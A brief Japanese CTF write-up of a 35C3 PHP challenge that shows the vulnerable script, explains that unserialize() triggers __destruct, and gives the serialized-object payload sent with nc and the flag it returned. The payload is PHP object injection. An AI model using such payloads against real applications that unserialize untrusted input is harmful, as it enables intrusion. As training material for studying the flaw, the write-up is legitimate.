- Solves: 165
PHP's unserialization mechanism can be exceptional. Guest challenge by jvoisin.
Files at https://35c3ctf.ccc.ac/uploads/php-ff2d1f97076ff25c5d0858616c26fac7.tar. Challenge running at:
nc 35.242.207.13 1
提示されたファイルは以下のようなphpのプログラムです。
<?php$line = trim(fgets(STDIN));$flag = file_get_contents('/flag');class B {function __destruct() {global $flag;echo $flag;}}$a = @unserialize($line);throw new Exception('Well that was unexpected…');echo $a;
unserialize()関数に細工したデータを渡して__destruct()関数を呼び出しできればフラグが表示されそうです。
http://www.1x1.jp/blog/2010/11/php_unserialize_do_not_call_destruct.html
http://www.1x1.jp/blog/2010/11/php_unserialize_do_not_call_destruct.html
こちらの記事によると、デシリアライズしたインスタンスの参照が0になったタイミングで__destruct()関数が実行されるそうです。
したがって次のようにデータを渡してみます。
>nc.exe 35.242.207.13 1O:1:"B":135C3_php_is_fun_php_is_funPHP Fatal error: Uncaught Exception: Well that was unexpected… in /home/user/php.php:16Stack trace:#0 {main}thrown in /home/user/php.php on line 16
フラグは、
35C3_php_is_fun_php_is_fun